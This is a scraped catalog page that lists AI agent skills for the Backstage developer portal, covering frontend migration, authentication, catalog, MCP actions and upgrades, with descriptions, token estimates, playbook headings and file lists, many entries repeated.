SKILL.mdcore25,889 bytesSKILL.mdcore25,889 bytesSKILL.mdcore25,889 bytesreferences/configure-health-probes.mddoc2,190 bytesreferences/configure-multi-region.mddoc18,934 bytesreferences/configure-storage.mddoc5,481 bytesreferences/configure-zone-redundancy.mddoc1,955 bytesreferences/health-probe-checks.mddoc3,544 bytesreferences/iac-patching-bicep.mddoc7,031 bytesreferences/iac-patching-terraform.mddoc4,815 bytesreferences/multi-region-checks.mddoc6,120 bytesreferences/services/app-service/reliability.mddoc10,480 bytesreferences/services/functions/reliability.mddoc6,389 bytesreferences/storage-redundancy-checks.mddoc5,206 bytesreferences/zone-redundancy-checks.mddoc2,930 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapp-frontend-system-migration
When your agent uses it
Migrate a Backstage adopter app from the legacy frontend system to the new extension-based frontend system through hybrid and full-migration phases. Use when converting createApp, feature discovery, routes, sidebar, APIs, themes, or app-level frontend compatibility.
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
503 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,368 bytesSKILL.mdcore2,368 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapp-frontend-system-migration
When your agent uses it
Migrate a Backstage app from the old frontend system to the new one. Use this skill when converting an app to use the new extension-based frontend system, including the hybrid migration phase and the full migration of routes, sidebar, plugins, APIs, themes, and other app-level concerns.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
5,416 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Concepts
- Feature Discovery
- Phase 1: Minimal Hybrid Migration
- Phase 2: Full Migration
- Dependencies
- Migration Checklist
- Troubleshooting
- Reference
Files
SKILL.mdcore24,132 bytesSKILL.mdcore24,132 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-ai-catalog
When your agent uses it
Install and use Backstage's AI catalog model for AiResource skills and rules plus mcp-server API entities, ownership, lifecycle, relationships, and source locations. Use when cataloging AI skills, governance rules, agents, or MCP servers.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
552 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Model boundaries
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-app-bootstrap
When your agent uses it
Create or assess a standalone Backstage adopter application with version-aware prerequisites, package layout, first-run configuration, and baseline validation. Use when starting a Backstage app, reinstalling an app shell, or checking whether a repository is a valid adopter app.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
568 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Procedure
- Safety
- Output template
- Quality gate
Files
SKILL.mdcore2,827 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-app-configuration
When your agent uses it
Design, edit, validate, and troubleshoot Backstage app configuration, environment overlays, schemas, secrets, integrations, and frontend visibility. Use when working with app-config YAML, BACKSTAGE_ENV, config:check, deployment overrides, or configuration errors.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
569 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Configuration model
- Procedure
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore2,880 bytesSKILL.mdcore2,880 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-authentication
When your agent uses it
Configure, review, and troubleshoot Backstage sign-in, identity resolvers, auth providers, delegated third-party access, callbacks, and permissions. Use when setting up GitHub, Microsoft, guest, proxy, or custom auth providers or fixing login failures.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
775 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Identity boundaries
- Procedure
- Built-in provider focus
- Limits
- Output template
- Quality gate
- References
Files
SKILL.mdcore3,897 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-catalog
When your agent uses it
Model, register, discover, validate, and troubleshoot Backstage Software Catalog entities, providers, processors, ownership, relations, locations, and lifecycle. Use when handling catalog-info YAML, entity ingestion, org discovery, duplicate entities, or catalog governance.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
512 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Catalog criteria
- Output template
- Quality gate
Files
SKILL.mdcore2,561 bytesSKILL.mdcore2,561 bytesSKILL.mdcore2,561 bytesSKILL.mdcore2,561 bytesSKILL.mdcore2,561 bytesSKILL.mdcore2,561 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-catalog-db-performance
When your agent uses it
Run and compare the Backstage catalog query performance battery against a safe database replica, capture PostgreSQL plans and buffers, detect regressions, and update the baseline. Use when changing catalog queries, indexes, schemas, or database performance behavior.
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
484 tokensWhen the skill is activated
Reference documents
535 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,377 bytesreferences/upstream/catalog-db-performance.mddoc2,387 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-core-contribution
When your agent uses it
Prepare, implement, validate, and document contributions to backstage/backstage or a close fork using targeted tests, exact root typechecking, formatting, linting, API reports, changesets, DCO, and Apache headers. Use when changing Backstage core packages, plugins, docs, or contributor workflows.
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
608 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Positive detection
- Procedure
- Prohibited routine commands
- Output template
- Quality gate
Files
SKILL.mdcore2,774 bytesSKILL.mdcore2,774 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-external-integrations
When your agent uses it
Configure, secure, and validate Backstage technical integrations with GitHub, Azure and Azure DevOps, and ServiceNow across catalog discovery, events, software templates, CI/CD views, incidents, and provider credentials. Use when setting up or troubleshooting integrations outside user sign-in.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
559 tokensWhen the skill is activated
Reference documents
1,006 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Provider references
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,795 bytesreferences/azure-devops.mddoc1,786 bytesreferences/github.mddoc1,248 bytesreferences/servicenow.mddoc1,552 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-framework
When your agent uses it
Choose and implement Backstage framework extension points, core backend services, frontend blueprints, service refs, modules, lifecycle, auth, permissions, schedulers, tracing, metrics, and generated API references. Use when designing plugin architecture or selecting supported framework APIs.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
538 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,656 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-kubernetes
When your agent uses it
Install, configure, authorize, and troubleshoot Backstage Kubernetes frontend and backend plugins, cluster discovery, entity annotations, authentication, permissions, proxies, custom resources, and service-owner views. Use when working with Kubernetes tabs, clusters, pods, or integration errors.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
533 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Permission surface
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,711 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-mcp-actions
When your agent uses it
Register typed Backstage backend actions and expose selected actions as authenticated MCP tools with schemas, attributes, permissions, filters, server instructions, and well-known action validation. Use when configuring the Actions Registry, Actions Service, MCP Actions Backend, or AI tool exposure.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
631 tokensWhen the skill is activated
Reference documents
384 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Safety
- Output template
- Quality gate
- References
Files
SKILL.mdcore3,145 bytesreferences/well-known-actions.mddoc1,703 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-notifications
When your agent uses it
Install, configure, emit, process, route, and troubleshoot Backstage notifications and optional real-time signals. Use when handling user or group notifications, external emitters, email or Slack processors, scaffolder notifications, settings, topics, or delivery failures.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
530 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,637 bytesSKILL.mdcore2,637 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-operations
When your agent uses it
Operate, monitor, troubleshoot, and harden production Backstage services, databases, schedulers, integrations, health endpoints, logs, and deployments. Use when handling startup failures, readiness problems, database errors, provider refresh issues, performance incidents, or production runbooks.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
559 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Operational evidence
- Output template
- Quality gate
Files
SKILL.mdcore2,782 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-permissions
When your agent uses it
Design, implement, test, and troubleshoot Backstage permission policies, basic and resource permissions, conditional decisions, rules, frontend authorization, and plugin integration. Use when implementing RBAC, ABAC, resource filtering, action visibility, or fixing authorization failures.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
558 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Security criteria
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,831 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-plugin-builder
When your agent uses it
Plan, architect, scaffold, validate, and prepare custom Backstage plugins and modules using official Backstage documentation. Use when the user asks for new, legacy, or dual frontend plugins, backend plugins, backend modules, catalog processors, entity providers, scaffolder actions, search collators, auth providers, permission policies, TechDocs addons, common packages, node packages, plugin ADRs, architecture, validation, or community publication preparation.
What it loads into context
Frontmatter
95 tokensAlways available to the agent
SKILL.md
2,164 tokensWhen the skill is activated
Reference documents
3,396 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Plugin routing
- Standard workflow
- Backstage API rules
- Scripts and commands
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/create_backstage_plugin_artifacts.pyscripts/test_validate_backstage_plugin.pyscripts/validate_backstage_plugin.pyscripts/validate_official_docs.py
Files
SKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesSKILL.mdcore10,484 bytesexamples/catalog-info.yamlasset273 bytesexamples/package-json-checklist.mddoc484 bytesexamples/plugin-readme-template.mddoc683 bytesreferences/backend-module.mddoc744 bytesreferences/backend-plugin.mddoc1,064 bytesreferences/catalog-scaffolder-search-auth.mddoc1,158 bytesreferences/community-publication.mddoc1,372 bytesreferences/documentation-validation.mddoc2,549 bytesreferences/dynamic-plugin-strategy.mddoc1,075 bytesreferences/frontend-plugin.mddoc1,257 bytesreferences/official-docs.mddoc2,113 bytesreferences/planning-strategy-adr.mddoc1,406 bytesreferences/plugin-types.mddoc1,662 bytesreferences/validation-hooks.mddoc988 bytesscripts/create_backstage_plugin_artifacts.pyruns7,028 bytesscripts/test_validate_backstage_plugin.pyruns2,142 bytesscripts/validate_backstage_plugin.pyruns5,936 bytesscripts/validate_official_docs.pyruns2,289 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-search
When your agent uses it
Install, configure, extend, operate, and troubleshoot Backstage Search frontends, engines, collators, indices, result extensions, filters, schedules, and permissions. Use when working with search pages, Catalog or TechDocs indexing, custom collators, Postgres or Elasticsearch, or missing results.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
579 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,782 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-software-templates
When your agent uses it
Design, implement, validate, and troubleshoot Backstage Software Templates, custom actions, Golden Paths, skeleton rendering, repository publication, and catalog registration. Use when working with template.yaml, scaffolder actions, parameters, step outputs, or template execution failures.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
536 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Failure handling
- Output template
- Quality gate
Files
SKILL.mdcore2,754 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-techdocs
When your agent uses it
Configure, build, preview, publish, migrate, and troubleshoot Backstage TechDocs and MkDocs content. Use when handling techdocs-ref annotations, mkdocs.yml, local or external builders, object-storage publishers, CI generation, broken docs, or wiki-to-TechDocs migration.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
523 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Deployment modes
- Output template
- Quality gate
Files
SKILL.mdcore2,556 bytesSKILL.mdcore2,556 bytesSKILL.mdcore2,556 bytesSKILL.mdcore2,556 bytesSKILL.mdcore2,556 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-upgrade
When your agent uses it
Plan, execute, and validate Backstage application or plugin dependency upgrades with release-aware package alignment, migrations, config review, changesets, and rollback. Use when bumping Backstage versions, resolving package skew, adopting new systems, or preparing an upgrade PR.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
636 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Procedure
- Limits
- Output template
- Quality gate
Files
SKILL.mdcore3,050 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-workspace-kit
When your agent uses it
Plan, apply, inspect, or uninstall the Backstage Expert repository workspace kit for adopter or core profiles. Use when publishing bundled instructions, VS Code prompts, and the optional Backstage safety hook into a target repository.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
682 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Profiles
- Procedure
- Safety
- Output template
- Quality gate
Scripts executed separately
scripts/install_workspace_kit.pyscripts/test_install_workspace_kit.py
Files
SKILL.mdcore3,095 bytesSKILL.mdcore3,095 bytesSKILL.mdcore3,095 bytesSKILL.mdcore3,095 bytesscripts/install_workspace_kit.pyruns15,137 bytesscripts/test_install_workspace_kit.pyruns5,224 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmui-to-bui-migration
When your agent uses it
Migrate Backstage app or plugin UI from Material-UI to Backstage UI with version-checked component mappings, CSS setup, accessibility, analytics, styling, and visual validation. Use when replacing @material-ui imports, MUI icons, makeStyles, or adopting BUI.
What it loads into context
Frontmatter
120 tokensAlways available to the agent
SKILL.md
521 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,295 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmui-to-bui-migration
When your agent uses it
Migrate Backstage plugins from Material-UI (MUI) to Backstage UI (BUI). Use this skill when migrating components, updating imports, replacing styling patterns, or converting MUI components to their BUI equivalents.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
6,569 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Available BUI Components
- Migration Patterns
- CSS Variable Reference
- Known Limitations
- Migration Checklist
- Reference
Files
SKILL.mdcore23,879 bytesSKILL.mdcore23,879 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubonboard-to-openapi-server
When your agent uses it
Migrate a Backstage backend plugin from a hand-written Express router to the repository's typed OpenAPI server tooling while preserving routes, auth, permissions, errors, tests, and optional client generation. Use when onboarding createOpenApiRouter or modernizing a router with OpenAPI.
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
573 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,528 bytesSKILL.mdcore2,528 bytesSKILL.mdcore2,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubonboard-to-openapi-server
When your agent uses it
Use this skill when the user wants to migrate an existing Backstage backend plugin's hand-written Express router to the typed OpenAPI tooling. Optionally, can also add typed client generation and migrate router tests to the OpenAPI test wrapper.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
3,576 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Up front: confirm scope with the user
- Prerequisites
- Inputs
- Core workflow
- Optional: generate a typed client
- Optional: migrate router tests to `wrapServer`
- Optional: changesets
- Reference files in the upstream Backstage repo
- Things to refuse / hand back to the user
Files
SKILL.mdcore16,419 bytesSKILL.mdcore16,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-analytics-instrumentation
When your agent uses it
Instrument Backstage frontend plugins with meaningful Analytics API events and tests while avoiding duplicate BUI navigation events or UI noise. Use when adding or reviewing captureEvent, AnalyticsContext, event taxonomy, noTrack overrides, or analytics behavior.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
480 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,187 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-analytics-instrumentation
When your agent uses it
Instrument a Backstage frontend plugin with analytics events using the Backstage Analytics API. Use this skill when adding, reviewing, or extending event capture (`captureEvent`, `AnalyticsContext`) in plugin components, deciding whether an interaction warrants an event, or writing tests for analytics behavior.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
2,382 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Guiding principles
- How to capture an event
- Unit testing event capture
- Review checklist
Files
SKILL.mdcore10,608 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-full-frontend-system-migration
When your agent uses it
Fully migrate a Backstage frontend plugin to the new frontend system and remove legacy support. Use when performing internal or intentionally breaking migrations from createPlugin to createFrontendPlugin, new route refs, blueprints, PageLayout, and legacy dependency removal.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
485 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,290 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-full-frontend-system-migration
When your agent uses it
Fully migrate a Backstage plugin to the new frontend system, dropping all old system support. Use this skill for internal plugins that only need to run in a single app, or when you are ready to remove backward compatibility entirely.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
4,830 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Differences from Dual Support
- Step 1: Migrate Route Refs
- Step 2: Migrate the Plugin Definition
- Step 3: Migrate API Factories to `ApiBlueprint`
- Step 4: Migrate Pages to `PageBlueprint`
- Step 5: Replace Internal Routing with Sub-Pages
- Step 6: Update Hooks and Imports
- Step 7: Remove Old System Code
- Step 8: Update Page Components for BUI
- Real Example: Auth Plugin (Fully Migrated)
- Real Example: Scaffolder Sub-Pages
- Migration Checklist
- Reference
Files
SKILL.mdcore20,916 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-new-frontend-system-support
When your agent uses it
Add new frontend-system support to an existing Backstage plugin while retaining its legacy entry point. Use when published or shared plugins need dual compatibility, alpha exports, PageBlueprint extensions, route reuse, and both old and new app consumers.
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
493 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,234 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-new-frontend-system-support
When your agent uses it
Add new frontend system support to an existing Backstage plugin while keeping the old system working. Use this skill for published or shared plugins that need to work in both old and new frontend system apps.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
4,049 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Concepts
- Step 1: Create the Alpha Entry Point
- Step 2: Update `package.json` Exports
- Step 3: Implement the Dual Header Pattern
- Step 4: Migrate APIs to `ApiBlueprint`
- Step 5: Route Refs
- Step 6: Translations
- Real Examples from the Backstage Repo
- Migration Checklist
- Reference
Files
SKILL.mdcore16,594 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapp-frontend-system-migration
When your agent uses it
Migrate a Backstage adopter app from the legacy frontend system to the new extension-based frontend system through hybrid and full-migration phases. Use when converting createApp, feature discovery, routes, sidebar, APIs, themes, or app-level frontend compatibility.
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
557 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,580 bytesSKILL.mdcore2,580 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapp-frontend-system-migration
When your agent uses it
Migrate a Backstage app from the old frontend system to the new one. Use this skill when converting an app to use the new extension-based frontend system, including the hybrid migration phase and the full migration of routes, sidebar, plugins, APIs, themes, and other app-level concerns.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
5,416 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Concepts
- Feature Discovery
- Phase 1: Minimal Hybrid Migration
- Phase 2: Full Migration
- Dependencies
- Migration Checklist
- Troubleshooting
- Reference
Files
SKILL.mdcore24,132 bytesSKILL.mdcore24,132 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-ai
When your agent uses it
Apply Backstage AI Catalog, Actions Registry, and MCP Actions conventions. Use when editing AiResource or mcp-server entities, backend actions, or MCP Actions configuration.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
615 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- AI Catalog
- Actions and MCP
- Conventions
- Do / Do Not
- Checklist Before Opening a PR
- References
Files
SKILL.mdcore2,864 bytesSKILL.mdcore2,864 bytesSKILL.mdcore2,864 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-ai-catalog
When your agent uses it
Install and use Backstage's AI catalog model for AiResource skills and rules plus mcp-server API entities, ownership, lifecycle, relationships, and source locations. Use when cataloging AI skills, governance rules, agents, or MCP servers.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
606 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Model boundaries
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,716 bytesSKILL.mdcore2,716 bytesSKILL.mdcore2,716 bytesSKILL.mdcore2,716 bytesSKILL.mdcore2,716 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-app
When your agent uses it
Apply Backstage adopter-app composition and configuration conventions. Use when editing app packages, backend packages, backstage.json, or app-config files.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
583 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Application Boundaries
- Configuration
- Conventions
- Do / Do Not
- Checklist Before Opening a PR
- References
Files
SKILL.mdcore2,938 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-app-bootstrap
When your agent uses it
Create or assess a standalone Backstage adopter application with version-aware prerequisites, package layout, first-run configuration, and baseline validation. Use when starting a Backstage app, reinstalling an app shell, or checking whether a repository is a valid adopter app.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
620 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Procedure
- Safety
- Output template
- Quality gate
Files
SKILL.mdcore3,035 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-app-configuration
When your agent uses it
Design, edit, validate, and troubleshoot Backstage app configuration, environment overlays, schemas, secrets, integrations, and frontend visibility. Use when working with app-config YAML, BACKSTAGE_ENV, config:check, deployment overrides, or configuration errors.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
621 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Configuration model
- Procedure
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore3,092 bytesSKILL.mdcore3,092 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-auth
When your agent uses it
Apply Backstage sign-in, identity resolver, delegated access, service auth, and permission-boundary conventions. Use when editing auth configuration or provider modules.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
615 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Identity and Provider Boundaries
- GitHub and Microsoft Entra ID
- Conventions
- Do / Do Not
- Checklist Before Opening a PR
- References
Files
SKILL.mdcore3,051 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-authentication
When your agent uses it
Configure, review, and troubleshoot Backstage sign-in, identity resolvers, auth providers, delegated third-party access, callbacks, and permissions. Use when setting up GitHub, Microsoft, guest, proxy, or custom auth providers or fixing login failures.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
826 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Identity boundaries
- Procedure
- Built-in provider focus
- Limits
- Output template
- Quality gate
- References
Files
SKILL.mdcore4,106 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-catalog
When your agent uses it
Model, register, discover, validate, and troubleshoot Backstage Software Catalog entities, providers, processors, ownership, relations, locations, and lifecycle. Use when handling catalog-info YAML, entity ingestion, org discovery, duplicate entities, or catalog governance.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
564 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Catalog criteria
- Output template
- Quality gate
Files
SKILL.mdcore2,763 bytesSKILL.mdcore2,763 bytesSKILL.mdcore2,763 bytesSKILL.mdcore2,763 bytesSKILL.mdcore2,763 bytesSKILL.mdcore2,763 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-catalog-db-performance
When your agent uses it
Run and compare the Backstage catalog query performance battery against a safe database replica, capture PostgreSQL plans and buffers, detect regressions, and update the baseline. Use when changing catalog queries, indexes, schemas, or database performance behavior.
What it loads into context
